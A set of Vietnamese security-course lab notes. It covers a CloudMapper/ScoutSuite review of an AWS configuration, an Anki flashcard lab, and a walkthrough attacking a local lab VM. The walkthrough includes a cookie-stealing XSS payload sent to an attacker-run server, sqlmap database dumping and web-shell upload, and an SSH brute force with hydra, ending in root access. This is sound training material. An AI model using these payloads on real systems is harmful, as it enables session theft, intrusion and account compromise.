Biểu đồ cột 'Counts of public resources by port ranges' (Số lượng tài nguyên công khai theo dải cổng) hiển thị các dải cổng được cấp phát trong nhóm bảo mật (security group) dưới dạng số đếm, tương ứng với số lượng các thực thể công khai. Đánh giá dải cổng cho phép các nhóm bảo mật(security group) được xác định bởi CloudMapper.
Answer: The public resources by port ranges are allocated into four groups. The rst two groups grant public access to TCP ports 22, and 80. The third port range allocates access to TCP port 22 and TCP port 4444 which is commonly associated with Metasploit. The nal port range allows for a much larger collection of ports, port 80 and ports 443-4443 which may be a conguration typo (instead of a start and end range of 443-443, an extra 4 creates a much larger range of permitted ports).
1. CloudMapper: Assessment Report - Findings
CloudMapper sẽ xác định các lỗ hổng trong cấu hình AWS, giống như quét lỗ hổng nhưng tập trung chủ yếu vào các tài nguyên đám mây cấu hình. Lướt xuống report có tên Links to findings:

Answer: The falsimentis user is congured to allow password login, but is not congured to also require MFA, as shown here:

CloudMapper cung cấp khả năng trực quan hóa rất hữu ích, nhưng lại thiếu một báo cáo đánh giá an ninh toàn diện và còn hạn chế trong năng lực nhận diện các khu vực đáng lo ngại (areas of concern). Để bổ sung cho những tính năng của CloudMapper, chúng ta cũng sẽ tìm hiểu về ScoutSuite – một công cụ đánh giá cấu hình đám mây đa nền tảng.
1. ScouteSuite: Report Generation Example
Lab này đã được thu thập thông tin về ScoutSuite.
1. Open a Terminal
Mở terminal
1. ScouteSuite: Open the Report
Báo cáo ScouteSuite nằm trong thư mục: `/home/sec504/labs/scoutsuite-report/aws-912182608192.html`, mở nó trong Firefox:

Firefox sẽ hiển thị báo cáo như hình:

ScoutSuite sẽ thực hiện đánh giá nhiều dịch vụ khác nhau của nhà cung cấp đám mây đã được cấu hình. Trong báo cáo Falsimentis, kết quả phân tích chỉ ra một số phát hiện có mức độ rủi ro cao (high-risk) đối với các dịch vụ EC2 và IAM, cùng các phát hiện rủi ro trung bình (medium-risk) đối với dịch vụ S3 và VPC.
Khi truy cập vào phần các phát hiện về IAM, chúng ta thấy mục cảnh báo 'Managed Policy Allows "iam:PassRole" For All Resources' (Chính sách được quản lý cho phép "iam:PassRole" trên mọi tài nguyên). Mục này chỉ ra rằng các người dùng cannets, fpracall và mrawes đang nắm giữ quyền hạn cao cấp này thông qua chính sách AWSElasticBeanstalk, như được hiển thị tại đây.

Khi truy cập vào phần các phát hiện về VPC, chúng ta thấy mục cảnh báo 'Subnet without a Flow Log' (Mạng con không có Nhật ký lưu lượng). Nhấp vào mục này sẽ cho thấy rằng các máy chủ (instances) 'Dev Webserver' và 'Unprovisioned Wombat' chưa được cấu hình để sử dụng tính năng ghi nhật ký lưu lượng cho mạng con tương ứng, như được hiển thị tại đây.

1. ScouteSuite: JSON Report Results
Ngoài báo cáo định dạng HTML, ScoutSuite còn tạo ra một tài liệu JSON chứa các kết quả phát hiện (findings) của báo cáo. Dữ liệu này rất hữu ích để truy xuất thêm những thông tin không được hiển thị trực tiếp trong bản báo cáo giao diện. Báo cáo JSON của ScoutSuite nằm tại đường dẫn ~/labs/scoutsuite-report/scoutsuite-results; hãy di chuyển vào thư mục này và liệt kê các tệp tin, như minh họa dưới đây.

Tệp báo cáo của ScoutSuite có phần mở rộng là .js, trong đó dòng đầu tiên thực hiện gán biến JavaScript scoutsuite_results bằng nội dung tài liệu JSON được tạo ra từ quá trình quét. Chúng ta có thể xem 40 ký tự đầu tiên của kết quả này bằng cách sử dụng lệnh head, như được minh họa tại đây.

Để phân tích kết quả JSON bằng công cụ JQ, chúng ta cần bỏ qua dòng đầu tiên của tệp JavaScript. Chúng ta có thể thực hiện điều này bằng lệnh tail, như được minh họa tại đây.

Với khả năng phân tích cú pháp các kết quả từ ScoutSuite bằng công cụ JQ, chúng ta có thể tập trung vào bất kỳ thành phần dữ liệu nào mong muốn. Ví dụ, chúng ta có thể truy vấn (interrogate) tất cả các thẻ (tags) của các máy chủ EC2 bằng cách sử dụng câu lệnh truy vấn JQ như được hiển thị tại đây.

Thông tin này cũng đã được thu thập trong quá trình đánh giá của ScoutSuite, nhưng lại khó khai thác hơn nếu chỉ thông qua giao diện hiển thị sơ đồ mạng (network layout view). Hãy kiểm tra kết quả của truy vấn này và trả lời câu hỏi dưới đây.
Bằng cách kiểm tra thủ công các kết quả quét của ScoutSuite bằng công cụ JQ, chúng ta có thể thu thập được những thông tin nằm trong dữ liệu quét nhưng không hiển thị trực tiếp (hoặc khó tìm thấy) trên báo cáo HTML. Bằng cách truy xuất dữ liệu trong mảng .services.ec2.regions[].vpcs[].instances[], chúng ta có thể lấy được tên của máy chủ EC2 và thông tin cặp thẻ/giá trị (tag/value pair), từ đó tiết lộ một đường dẫn URL chứa khóa SSH, như được minh họa tại đây.

### Tại sao Lab này quan trọng
Trong bài thực hành này, chúng ta đã xem xét kết quả đầu ra của hai công cụ đánh giá đám mây: CloudMapper (chỉ hỗ trợ AWS) và ScoutSuite (hỗ trợ đa nhà cung cấp). Mặc dù cả hai đều cung cấp các dịch vụ đánh giá hữu ích để kiểm tra cấu hình tài sản đám mây, nhưng chúng khác biệt ở cách trình bày thông tin cũng như độ sâu của các dịch vụ phân tích bảo mật mà chúng cung cấp.
Thông qua việc sử dụng các công cụ này, chúng ta có thể đánh giá môi trường đám mây để có cái nhìn sâu sắc về hiện trạng triển khai và cấu hình các tài sản, đồng thời nhận diện các lỗ hổng có thể khiến các thực thể đám mây bị lộ ra ngoài. Trong bài lab, chúng ta đã đánh giá cấu hình môi trường AWS của Falsimentis – một mô hình triển khai tài sản quy mô nhỏ. Trong quá trình đó, chúng ta đã phát hiện ra một số lỗ hổng khiến mạng lưới này phải đối mặt với rủi ro.
## Lab 5.7
### Giới thiệu
Trong bài thực hành (lab) tùy chọn này, chúng ta sẽ xem xét các bước để tự xây dựng các thẻ học và ôn tập (flashcards) của riêng bạn bằng phần mềm Anki. Quá trình này sẽ tập trung vào việc tạo thẻ học cho mô-đun 'Pivoting and Lateral Movement' của khóa học SANS SEC504, nhưng phương pháp này hoàn toàn có thể áp dụng cho bất kỳ lớp học SANS nào hoặc các chủ đề nghiên cứu phức tạp khác.
### Hướng dẫn
1. Download Anki
Tải Anki trên https://apps.ankiweb.net/
1. Install Anki
Cài đặt Anki. Chọn ngôn ngữ thích hợp
1. Lauch Anki
Chạy Anki.
1. Create Your First Anki Deck
Chọn Create Deck option:

Nhập tên deck là SANS-SEC504:

Create a Module-Specific Anki Deck
Chọn Create Deck lần nữa, tên là Pivoting and Lateral Movement, nằm dưới deck SANS-SEC504.

1. Move Module Deck Beneath Course Deck
Anki cho phép bạn thiết lập nhiều bộ thẻ (decks) liên kết với nhau, giúp bạn tổ chức các thẻ học thành những chủ đề nghiên cứu riêng biệt. Tính năng này rất hữu ích vì bạn có thể nhanh chóng truy cập vào mảng kiến thức cụ thể mà bạn cần dành nhiều thời gian hơn để ôn tập.
Tại giao diện Anki, hãy nhấp và kéo bộ thẻ 'Pivoting and Lateral Movement', sau đó thả nó đè lên trên bộ thẻ 'SANS-SEC504'. Anki sẽ tự động tạo ra mối liên kết (cấu trúc mẹ-con) giữa chúng, như được minh họa tại đây.

Hãy lặp lại quy trình này trong khi bạn xây dựng bộ thẻ Anki cho toàn bộ tài liệu khóa học SEC504. Còn bây giờ, chúng ta sẽ bắt đầu tạo các thẻ học cho mô-đun 'Pivoting and Lateral Movement'.
1. Get Out Your Book 5 Materials
Hãy lấy tài liệu sách số 5 của khóa SEC504 và mở đến mô-đun Pivoting and Lateral Movement (Xoay trục và Di chuyển ngang). Hãy chuẩn bị cả một chiếc bút nhớ dòng (highlighter) ngòi to nữa.
Đối với mỗi trang trong khóa học, hãy tô đậm ba chủ đề cần được nghiên cứu và ôn tập thêm. Một số trang có thể yêu cầu tô nhiều hơn, nhưng hãy cố gắng tìm ra ít nhất ba điểm quan trọng trên mỗi trang.
Lặp lại quy trình này cho từng trang trong mô-đun, sau đó quay lại đây để tiến hành tạo các thẻ Anki của bạn.

1. Add Your First Anki Card
Chọn deck Pivoting and Lateral Movement, bấm A để mở dialog Add:

Chọn nút Type. Thay đổi từ Cơ bản thành Điền vào chỗ trống, sau đó bấm Choose:

Trong mục Văn bản, nhập nội dung bạn vừa hightlight:

Hightlight portion của đoạn văn bản bạn muốn để làm flashcard để review. Bấm Ctrl+Shift+C để tạo khối Cloze(điền vào chỗ trống), như hình:

Cuối cùng bấm Add để thêm card vào deck.
1. Add More Cards
Hãy lặp lại quy trình này, thêm một thẻ mới cho từng chủ đề mà bạn muốn xây dựng khả năng ghi nhớ (retention). Nhập nội dung mà bạn đã tô đậm trong sách vào, sau đó bôi đen từ khóa hoặc cụm từ quan trọng và thêm khối Cloze deletion (điền vào chỗ trống).

1. Use Anki for Spaced Repetition Review
Sau khi đã thêm hàng loạt thẻ Cloze (điền vào chỗ trống) vào Anki, hãy sử dụng chúng để ôn tập lại tài liệu của bạn. Hãy phân bổ ít nhất 20-30 phút cho mỗi phiên học.
Tại giao diện Anki, hãy nhấp vào liên kết của bộ thẻ cấp cao nhất (top-level study deck) là SANS-SEC504. Sau đó nhấp vào nút Study Now (Học ngay) để bắt đầu quá trình học tập.

Anki sẽ hiển thị cho bạn một câu hỏi với khối Cloze (phần nội dung điền vào chỗ trống) bị ẩn đi. Hãy trả lời câu hỏi đó, và nếu cần thiết, hãy sử dụng tài liệu tham khảo từ sách giáo trình để gợi nhớ lại đáp án.

Đừng dành quá 30 giây đến 1 phút cho bất kỳ câu hỏi riêng lẻ nào, sau đó hãy nhấp vào nút Show Answer (Hiện đáp án). Anki sẽ hiển thị câu trả lời chính xác dựa trên nội dung gốc mà bạn đã nhập vào khối Cloze.

Tiếp theo, hãy đánh giá xem bạn mất bao lâu để nhớ lại câu trả lời.
Nếu bạn biết câu trả lời ngay lập tức, hãy nhấp vào Easy (Dễ) (hoặc nhấn phím tắt 3).
Nếu bạn phải suy nghĩ vài giây mới đưa ra được câu trả lời, hãy nhấp vào Good (Tốt) (hoặc nhấn phím tắt 2).
Nếu bạn phải mở sách giáo trình để tìm đáp án, hoặc hoàn toàn không biết câu trả lời, hãy nhấp vào Again (Làm lại) (hoặc nhấn phím tắt 1).
Anki sử dụng thông tin đầu vào này của bạn sau mỗi câu hỏi để áp dụng thuật toán lặp lại ngắt quãng (spaced repetition) cho việc ôn tập.
Những câu hỏi bạn đánh dấu là Easy sẽ không xuất hiện lại trong 4 ngày.
Những câu hỏi bạn đánh dấu là Good sẽ xuất hiện lại trong vòng chưa đầy 10 phút.
Những câu hỏi bạn đánh dấu là Again sẽ xuất hiện lại trong vòng chưa đầy 1 phút.
Bạn có thể điều chỉnh các khoảng thời gian này trong Anki, nhưng chúng tôi không khuyến khích điều đó. Khoảng thời gian mặc định (1 phút / 10 phút / 4 ngày) hoạt động rất tốt với các bộ câu hỏi lớn và đã được chứng minh là hiệu quả đối với nhiều người dùng Anki.
Hãy tiếp tục sử dụng Anki trong khoảng thời gian bạn đã dành ra, sau đó dừng lại. Đừng ngại chỉnh sửa các câu hỏi nếu bạn cảm thấy có thể cải thiện chúng tốt hơn.
1. Repeat Your Study
Anki hoạt động hiệu quả nhất khi bạn có thể phân bổ thời gian đều đặn cho việc ôn tập và nghiên cứu tài liệu. Trong giai đoạn đầu, với một bộ câu hỏi lớn, bạn nên ôn tập với tần suất đủ dày để có thể đi qua hết tất cả các thẻ Anki trong vòng 1 tuần. Sau đợt ôn tập ban đầu, bạn có thể bắt đầu nới rộng khoảng cách giữa các lần ôn tập, thêm vài ngày giữa các lần học, rồi đến một tuần, và nhiều tuần. Hoặc bạn có thể tiếp tục thêm nhiều câu hỏi mới vào Anki để xây dựng khả năng ghi nhớ dài hạn cho các chủ đề khác nữa.
### Tại sao Lab này quan trọng
Khả năng ghi nhớ kiến thức có được là nhờ luyện tập, và Anki là một phương pháp thông minh để xây dựng khả năng đó thông qua việc áp dụng phương pháp học lặp lại ngắt quãng (spaced repetition).
Bằng cách sử dụng các bước được mô tả trong bài thực hành này, bạn có thể xây dựng bộ thẻ Anki cho các chủ đề của khóa học SEC504 hoặc bất kỳ môn học phức tạp nào khác mà bạn muốn đạt kết quả xuất sắc thông qua khả năng ghi nhớ dài hạn và năng lực hồi tưởng kiến thức.
## Lab E1

Chạy lab trên VirtualBox. Sử dụng máy Kali làm máy tấn công.
Việc đầu tiên cần làm là tìm IP của máy chạy lab. Ta sẽ sử dụng `netdiscover` để tìm IP của Lab. `netdiscover` là một công cụ dòng lệnh để khám phá địa chỉ mạng (active/passive ARP reconnaissance tool), được sử dụng để xác định các máy chủ đang hoạt động, địa chỉ IP, địa chỉ MAC và nhà cung cấp phần cứng trên mạng cục bộ.
Kiểm tra IP của máy Kali:

Máy lab cũng chung interface với máy kali, nên dải IP sẽ là `192.168.56.0/24`
Sử dụng lệnh sau để tìm IP máy lab:
```linux=
sudo netdiscover -r 192.168.56.0/24
```

Keyword `-r` để chỉ định phạm vi dải địa chỉ tương ứng với máy Kali. Như trên ảnh, ta đã tìm được IP của máy lab là `192.168.56.103`, các IP còn lại là địa chỉ máy thật,máy kali.
Khi đã có được IP của máy lab, sử dụng nmap để dò quét các cổng đang mở:
```linux=
nmap -p- -T4 192.168.56.103
```
`-p-` để quét tất cả các cổng TCP khả dụng trên máy đích, từ cổng 1 đến 65535. Thông thường, nmap chỉ quét 10000 cổng. `-T4` đặt "mẫu thời gian" (timing template) thành mức 4 (Aggressive). Điều này làm tăng tốc độ quét bằng cách giảm độ trễ giữa các lần gửi gói tin và đợi phản hồi, giúp hoàn thành quá trình quét nhanh hơn. Có sáu mức độ timing template từ T0 (Paranoid) đến T5 (Insane).

Từ ảnh ta thấy có 2 port đang mở là port 22 và port 80. Tiếp theo, ta sẽ chạy lệnh sau để scan chi tiết các cổng đang mở:
```linux=
nmap -p22,80 -sV -sC 192.168.56.103
```

`-p22,80` để chỉ định quét port 22 và 80, `-sV` để scan version, kết quả port 22 chạy ssh OpenSSH 5.5p1, port 80 chạy web Apache httpd 2.2.16. `-sC` để chạy script scan mặc định.
Truy cập vào IP máy lab với cổng 80, ta được giao diện như sau:

Đây là 1 blog đơn giản, truy cập các post thì chỉ có tính năng bình luận, truy cập Admin thì hiện ra form login đăng nhập:

Ta sẽ thử với 1 script XSS đơn giản để xem trang web này có dính XSS không:
```javascript=
<script>alert('XSS')</script>
```

Kết quả dính XSS ngay lập tức. Vậy chúng ta có thể khẳng định trang web này dính XSS. Giả sử admin ở một thời điểm sẽ review các bình luận đã được post, thì với lỗ hổng XSS, chúng ta sẽ có thể đánh cắp được cookie của admin và dùng nó để đăng nhập vào tài khoản admin.
Trước hết tạo 1 file PHP để lấy cookie và lưu vào 1 biến:
```php=
?php
$cookie = isset($_GET["admin"]) ?$_GET["admin"]:"";
?>
```
Chạy 1 local web server để lữu trữ cookie lấy được khi nạn nhân xem blog post. Chúng ta sẽ làm như sau:

Sau đó inject script XSS bằng javascript:
```javascript=
<script>location.href ='http://192.168.56.105/index.php?admin='+document.cookie;</script>
```

Chúng ta đã inject đoạn script trên, quay lại web server để kiểm tra:

Như trên ảnh, ta đã thấy cookie lộ ra. Sử dụng Cookie Editor và import nó vào để đăng nhập:

Sửa URL thành trang admin, lưu cookie và load lại trang:

Có thể thấy ta đã vào được trang admin. Ở đây ta có thể tạo, xóa hoặc edit blog post. Thử bấm vào edit:


Để ý đến phần url, khi ta bấm edit vào 1 post khác thì trường `id` sẽ khác, từ đây ta có thể nghĩ đến lỗ hổng SQL injection. Thử nhập thêm 1 nháy đơn sau số `id`:

Ảnh trên đã củng cố cho suy luận của chúng ta rằng trang web này có dính lỗ hổng SQL injection.Giờ chúng ta sẽ sử dụng `sqlmap` để quét các trường như `id` nó có thể bị loại SQLi nào:
```linux=
sqlmap -u "http://192.168.56.103/admin/edit.php?id=1" --cookie=PHPSESSID=r1namucd24j5p1vftoj8fo86o3
```

Chúng ta có thể thấy trường `id` dính SQLi dạng blind. Vậy là giờ ta đã chui được vào database backend và có thể bắt đầu săn tìm những dữ liệu giá trị như thông tin đăng nhập (credentials). Thay vì phải mò mẫm từng bảng một, hãy dump (trích xuất) toàn bộ bằng cách thêm `--dump`:
```linux=
sqlmap -u "http://192.168.56.103/admin/edit.php?id=1" --cookie=PHPSESSID=r1namucd24j5p1vftoj8fo86o3 --dump
```

Chúng ta thu được thông tin đăng nhập (credential) của admin, cho phép truy cập vào trang quản trị blog (nhưng thực ra ta đã vào được rồi nhờ vụ trộm cookie trước đó), nên thông tin này cũng không giá trị lắm.
Mục tiêu bây giờ là upload một con PHP shell lên. Ta có thể lợi dụng quyền FILE trong MySQL để thực hiện. Ta đã biết đường dẫn thư mục gốc (document root) rồi, giờ hãy thử upload PHP shell vào thư mục classes xem sao:
```linux=
touch basic.php
sqlmap -u "http://192.168.56.103/admin/edit.php?id=1" --cookie=PHPSESSID=r1namucd24j5p1vftoj8fo86o3 --file-write="/home/m1000xd/basic.php" --file-dest="/var/www/classes/basic.php"
```

Nó hiện thông báo ta không có quyền write vào thư mục đó.
Ta cần tìm 1 thư mục nào không hạn chế ta với quyền write. Trước tiên, ta sử dụng `gobuster` để để dò tìm các folder, file ẩn trên web:
```linux=
gobuster dir -u 192.168.56.103 -w /usr/share/wordlists/dirbuster/directories.jbrofuzz -t 50
```
`-u` 192.168.56.103: Cờ -u (url) chỉ định mục tiêu cần quét. Trong trường hợp này là địa chỉ IP cục bộ
`-w /usr/share/wordlists/dirbuster/directories.jbrofuzz`: Cờ `-w` (wordlist) chỉ định đường dẫn đến tệp tin chứa danh sách các tên thư mục và tệp tin tiềm năng. Công cụ sẽ thử truy cập từng mục trong danh sách này.
`-t 50`: Cờ `-t` (threads) chỉ định số lượng luồng (thread) đồng thời mà công cụ sẽ sử dụng. Việc sử dụng 50 luồng giúp tăng tốc độ quét bằng cách gửi nhiều yêu cầu cùng lúc.

Dựa vào kết quả các thư mục tìm được từ công cụ Gobuster, sau nhiều lần thử, mình thành công write được vào thư mục `/css` mà không bị hạn chế về quyền:
```linux=
sqlmap -u "http://192.168.56.103/admin/edit.php?id=1" --cookie=PHPSESSID=crvmhc5jlkeubsbmmr7a9ci8i1 --file-write="/home/m1000xd/basic.php" --file-dest='/var/www/css/basic.php'
```


Kiểm tra thì thấy đã ghi được file `basic.php` vào thư mục css. Ta sẽ thử vài truy vấn đơn giản như `ls`, `whoami` để kiểm tra RCE thành công:


Thử đọc tệp cấu hình người dùng(`/etc/passwd`):

Ta thấy có 1 user với username là user. Ta nhớ lúc đầu thì ta dùng nmap để quét cổng thì ssh đang mở. Ta sẽ thử brute-force ssh để đăng nhập vào tài khoản này bằng cách sử dụng `hydra`:
```linux=
hydra -t 10 -l user -P common.txt 192.168.56.103 ssh
```
`-t 10` :Chỉ định Hydra chạy tối đa 10 kết nối hoặc tác vụ đồng thời (concurrent tasks). Điều này giúp tăng tốc độ tấn công.
`-l user`: Chỉ định tên người dùng (username) cụ thể để thử nghiệm. Trong trường hợp này là user.
`-P common.txt` Danh sách mật khẩu (Password List) Chỉ định đường dẫn đến tệp tin chứa danh sách các mật khẩu tiềm năng để thử. Trong trường hợp này là common.txt. Hydra sẽ thử từng mật khẩu trong tệp này.
`192.168.56.103`: Địa chỉ IP của máy chủ đang chạy dịch vụ SSH mà bạn muốn tấn công.
`ssh`: Chỉ định loại dịch vụ hoặc giao thức mạng cần tấn công. Ở đây là SSH.

Ta thấy `hydra` đã brute force thành công, trả về mật khẩu `live`.
Thử ssh đến máy lab:
```linux=
ssh user@192.168.56.103
sudo bash
id
```

Như ảnh ta thấy đã mở được shell root ở máy lab.